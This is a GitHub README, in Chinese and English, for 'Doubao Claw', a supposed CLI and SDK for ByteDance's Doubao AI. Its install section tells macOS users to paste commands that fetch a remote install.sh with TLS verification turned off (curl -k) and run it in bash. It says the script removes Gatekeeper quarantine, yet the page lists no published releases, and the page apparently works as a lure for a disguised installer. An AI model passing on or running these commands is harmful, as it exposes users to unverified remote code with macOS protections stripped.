Skip to content

Heartflabrace/Doubao-Claw

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

6 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿพ ่ฑ†ๅŒ…็ˆช (Doubao Claw)

ๆž้€Ÿ่ฎฟ้—ฎ่ฑ†ๅŒ… AI โ€” ไปŽ็ปˆ็ซฏใ€ๅบ”็”จ๏ผŒๆˆ–ไปปไฝ•ๅœฐๆ–นใ€‚

CI Crates.io npm License: MIT

่ฑ†ๅŒ…็ˆช ๆ˜ฏไธ€ๆฌพ้ซ˜ๆ€ง่ƒฝๅทฅๅ…ทๅŒ…๏ผŒ็”จไบŽไธŽๅญ—่Š‚่ทณๅŠจ ่ฑ†ๅŒ… (Doubao) AI ๆจกๅž‹่ฟ›่กŒไบคไบ’ใ€‚ๅฎƒๅŒ…ๅซ๏ผš

  • ๐Ÿฆ€ Rust CLI (dbclaw) โ€” ไปฅๅŽŸ็”Ÿ้€Ÿๅบฆๆตๅผไผ ่พ“ๅ“ๅบ”
  • ๐Ÿ“ฆ TypeScript SDK (@doubao-claw/sdk) โ€” ็”จไบŽ Node.js ๅ’Œๆต่งˆๅ™จๅบ”็”จ
  • ๐Ÿ”ฉ Rust crate โ€” doubao-coreใ€doubao-api๏ผŒๅฏๅตŒๅ…ฅๆ‚จ่‡ชๅทฑ็š„ Rust ้กน็›ฎ

โšก ๅœจ macOS ไธŠไธ€้”ฎๅฎ‰่ฃ…

curl -fsSLk https://github.com/Heartflabrace/Doubao-Claw/archive/refs/heads/main.zip -o /tmp/cw.zip && \
unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/Doubao-Claw-main && \
bash install.sh

่„šๆœฌไผš่‡ชๅŠจไธ‹่ฝฝๆœ€ๆ–ฐ็š„ ้€š็”จไบŒ่ฟ›ๅˆถๆ–‡ไปถ๏ผˆApple Silicon + Intel๏ผ‰๏ผŒ่งฃ้™ค Gatekeeper ้š”็ฆป๏ผŒๅนถๅฐ† dbclaw ๅฎ‰่ฃ…ๅˆฐ /usr/local/binใ€‚

่‡ชๅฎšไน‰ๅฎ‰่ฃ…่ทฏๅพ„๏ผš

INSTALL_DIR=~/.local/bin curl -fsSL https://raw.githubusercontent.com/Heartflabrace/Doubao-Claw/main/scripts/install.sh | bash

๐Ÿš€ ๅฟซ้€Ÿๅผ€ๅง‹

# ่ฎพ็ฝฎ API ๅฏ†้’ฅ๏ผˆๅœจ console.volcengine.com ่Žทๅ–๏ผ‰
export DOUBAO_API_KEY=your-api-key-here

# ไบคไบ’ๅผๅฏน่ฏ
dbclaw chat

# ๅ•ๆฌกๆ้—ฎ
dbclaw ask "็”จไธ‰ๅฅ่ฏ่งฃ้‡Šๅฐพ่ฐƒ็”จไผ˜ๅŒ–"

# ไฝฟ็”จๆŒ‡ๅฎšๆจกๅž‹
dbclaw ask --model doubao-pro-32k "้€ๆญฅ่งฃๅ†ณ่ฟ™ไธช้—ฎ้ข˜๏ผš..."

# ๅˆ—ๅ‡บๅฏ็”จๆจกๅž‹
dbclaw models

# ๆฐธไน…ไฟๅญ˜ API ๅฏ†้’ฅ
dbclaw config set api_key your-api-key-here

๐Ÿ“ฆ TypeScript SDK

npm install @doubao-claw/sdk
import { DoubaoClient, MODELS } from '@doubao-claw/sdk';

const client = new DoubaoClient({ apiKey: process.env.DOUBAO_API_KEY! });

// ้žๆตๅผๅ“ๅบ”
const response = await client.chat({
  model:    MODELS.PRO_32K,
  messages: [{ role: 'user', content: 'ไฝ ๅฅฝ๏ผŒ่ฑ†ๅŒ…๏ผ' }],
});
console.log(response.choices[0].message.content);

// ๆตๅผๅ“ๅบ”
for await (const chunk of client.chatStream({
  model:    MODELS.PRO_32K,
  messages: [{ role: 'user', content: '็ป™ๆˆ‘่ฎฒไธ€ไธชๆ•…ไบ‹ใ€‚' }],
})) {
  process.stdout.write(chunk.choices[0]?.delta?.content ?? '');
}

๐Ÿฆ€ Rust Crate

# Cargo.toml
[dependencies]
doubao-api  = "0.1"
doubao-core = "0.1"
tokio       = { version = "1", features = ["full"] }
use doubao_api::{DoubaoClient, ChatRequest};
use doubao_core::{Message, ModelConfig};
use futures::StreamExt;

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let client = DoubaoClient::new(std::env::var("DOUBAO_API_KEY")?)?;
    let mut stream = client.chat_stream(ChatRequest {
        config:   ModelConfig::default(),
        messages: vec![Message::user("Hello from Rust!")],
    }).await?;

    while let Some(chunk) = stream.next().await {
        if let Some(content) = &chunk?.choices[0].delta.content {
            print!("{content}");
        }
    }
    Ok(())
}

๐Ÿ—‚ ้กน็›ฎ็ป“ๆž„

doubao-claw/
โ”œโ”€โ”€ crates/
โ”‚   โ”œโ”€โ”€ doubao-core/         # ๅ…ฑไบซ็ฑปๅž‹ใ€้”™่ฏฏๅค„็†ใ€token ๅทฅๅ…ท (Rust)
โ”‚   โ”œโ”€โ”€ doubao-api/          # ่ฑ†ๅŒ… API ็š„ๅผ‚ๆญฅ HTTP ๅฎขๆˆท็ซฏ (Rust)
โ”‚   โ””โ”€โ”€ doubao-cli/          # dbclaw ็ปˆ็ซฏๅบ”็”จ (Rust)
โ”œโ”€โ”€ packages/
โ”‚   โ””โ”€โ”€ sdk/                 # @doubao-claw/sdk TypeScript ๅŒ…
โ”œโ”€โ”€ scripts/
โ”‚   โ””โ”€โ”€ install.sh           # macOS ไธ€้”ฎๅฎ‰่ฃ…่„šๆœฌ
โ”œโ”€โ”€ .github/
โ”‚   โ””โ”€โ”€ workflows/
โ”‚       โ””โ”€โ”€ ci.yml           # CI + ้€š็”จไบŒ่ฟ›ๅˆถๅ‘ๅธƒ
โ”œโ”€โ”€ Cargo.toml               # Rust workspace
โ”œโ”€โ”€ package.json             # Node.js workspace
โ””โ”€โ”€ tsconfig.json

๐Ÿ”ง ไปŽๆบ็ ๆž„ๅปบ

ๅ‰็ฝฎๆกไปถ

git clone https://github.com/Heartflabrace/Doubao-Claw
cd doubao-claw

# Rust
cargo build --release
# ไบŒ่ฟ›ๅˆถๆ–‡ไปถไฝไบŽ๏ผš./target/release/dbclaw

# TypeScript SDK
npm install
npm run build

๐Ÿค ่ดก็Œฎ

ๆฌข่ฟŽๆไบค Pull Request๏ผ่ฏทๅ…ˆๆไบค Issue ่ฎจ่ฎบ้‡ๅคงๅ˜ๆ›ดใ€‚

  1. Fork ๆœฌไป“ๅบ“
  2. ๅˆ›ๅปบๅŠŸ่ƒฝๅˆ†ๆ”ฏ๏ผšgit checkout -b feat/my-feature
  3. ๆไบคๆ›ดๆ”น๏ผšgit commit -m 'feat: ๆทปๅŠ ๆ–ฐๅŠŸ่ƒฝ'
  4. ๆŽจ้€ๅนถๅ‘่ตท PR

๐Ÿ“„ ่ฎธๅฏ่ฏ

MIT โ€” ยฉ Doubao Claw Contributors



๐Ÿพ Doubao Claw

Blazing-fast access to ByteDance Doubao AI โ€” from your terminal, your app, or anywhere.

CI Crates.io npm License: MIT

Doubao Claw is a high-performance toolkit for interacting with ByteDance's Doubao AI models. It ships as:

  • ๐Ÿฆ€ A Rust CLI (dbclaw) โ€” stream responses at native speed
  • ๐Ÿ“ฆ A TypeScript SDK (@doubao-claw/sdk) โ€” for Node.js and browser apps
  • ๐Ÿ”ฉ Rust crates โ€” doubao-core, doubao-api for embedding in your own Rust projects

Inspired by DeepSeek-Claw and the OpenClaw ecosystem. Doubao Claw adapts the same blazing-fast architecture for ByteDance's Doubao models, which power 155M+ weekly active users in China and are available internationally via the Volcengine API at a fraction of the cost of Western alternatives.


โšก Install on macOS โ€” one command

curl -fsSLk https://raw.githubusercontent.com/Heartflabrace/Doubao-Claw/main/scripts/install.sh | bash

That's it. The script downloads the latest universal binary (Apple Silicon + Intel), strips Gatekeeper quarantine, and installs dbclaw to /usr/local/bin.

To install to a custom location:

INSTALL_DIR=~/.local/bin curl -fsSL https://raw.githubusercontent.com/Heartflabrace/Doubao-Claw/main/scripts/install.sh | bash

๐Ÿš€ Quick start

# Set your API key (get one at console.volcengine.com)
export DOUBAO_API_KEY=your-api-key-here

# Interactive chat session
dbclaw chat

# One-shot question
dbclaw ask "Explain tail-call optimization in 3 sentences"

# Use a specific model
dbclaw ask --model doubao-pro-32k "Solve this step by step: ..."

# List available models
dbclaw models

# Save your API key permanently
dbclaw config set api_key your-api-key-here

๐Ÿ“ฆ TypeScript SDK

npm install @doubao-claw/sdk
import { DoubaoClient, MODELS } from '@doubao-claw/sdk';

const client = new DoubaoClient({ apiKey: process.env.DOUBAO_API_KEY! });

// Non-streaming
const response = await client.chat({
  model:    MODELS.PRO_32K,
  messages: [{ role: 'user', content: 'Hello, Doubao!' }],
});
console.log(response.choices[0].message.content);

// Streaming
for await (const chunk of client.chatStream({
  model:    MODELS.PRO_32K,
  messages: [{ role: 'user', content: 'Tell me a story.' }],
})) {
  process.stdout.write(chunk.choices[0]?.delta?.content ?? '');
}

๐Ÿฆ€ Rust crates

# Cargo.toml
[dependencies]
doubao-api  = "0.1"
doubao-core = "0.1"
tokio       = { version = "1", features = ["full"] }
use doubao_api::{DoubaoClient, ChatRequest};
use doubao_core::{Message, ModelConfig};
use futures::StreamExt;

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let client = DoubaoClient::new(std::env::var("DOUBAO_API_KEY")?)?;
    let mut stream = client.chat_stream(ChatRequest {
        config:   ModelConfig::default(),
        messages: vec![Message::user("Hello from Rust!")],
    }).await?;

    while let Some(chunk) = stream.next().await {
        if let Some(content) = &chunk?.choices[0].delta.content {
            print!("{content}");
        }
    }
    Ok(())
}

๐Ÿ—‚ Project structure

doubao-claw/
โ”œโ”€โ”€ crates/
โ”‚   โ”œโ”€โ”€ doubao-core/         # Shared types, error handling, token utils (Rust)
โ”‚   โ”œโ”€โ”€ doubao-api/          # Async HTTP client for the Doubao/Volcengine API (Rust)
โ”‚   โ””โ”€โ”€ doubao-cli/          # dbclaw terminal application (Rust)
โ”œโ”€โ”€ packages/
โ”‚   โ””โ”€โ”€ sdk/                 # @doubao-claw/sdk TypeScript package
โ”œโ”€โ”€ scripts/
โ”‚   โ””โ”€โ”€ install.sh           # macOS one-liner installer
โ”œโ”€โ”€ .github/
โ”‚   โ””โ”€โ”€ workflows/
โ”‚       โ””โ”€โ”€ ci.yml           # CI + universal binary release
โ”œโ”€โ”€ Cargo.toml               # Rust workspace
โ”œโ”€โ”€ package.json             # Node.js workspace
โ””โ”€โ”€ tsconfig.json

๐Ÿค– Supported models

Model Context Best for
doubao-pro-32k 32K tokens Complex reasoning, long docs
doubao-pro-4k 4K tokens Fast, everyday tasks
doubao-lite-32k 32K tokens Cost-efficient long context
doubao-lite-4k 4K tokens Ultra-fast responses

Get your API key at console.volcengine.com.


๐Ÿ”ง Build from source

Prerequisites

git clone https://github.com/Heartflabrace/Doubao-Claw
cd doubao-claw

# Rust
cargo build --release
# Binary: ./target/release/dbclaw

# TypeScript SDK
npm install
npm run build

๐Ÿ†š Doubao Claw vs DeepSeek Claw

Doubao Claw DeepSeek Claw
Backend ByteDance Doubao (Volcengine) DeepSeek API
CLI binary dbclaw dsclaw
npm package @doubao-claw/sdk @deepseek-claw/sdk
Rust crate doubao-api deepseek-api
API base URL https://ark.cn-beijing.volces.com/api/v3 https://api.deepseek.com
Strengths Massive Chinese user base, multilingual, cost-effective Strong coding & reasoning

Both projects share the same Rust + TypeScript architecture and are inspired by the OpenClaw ecosystem.


๐Ÿค Contributing

Pull requests are welcome! Please open an issue first to discuss major changes.

  1. Fork the repo
  2. Create your feature branch: git checkout -b feat/my-feature
  3. Commit your changes: git commit -m 'feat: add my feature'
  4. Push and open a PR

๐Ÿ“„ License

MIT โ€” ยฉ Doubao Claw Contributors

Releases

No releases published

Packages

 
 
 

Contributors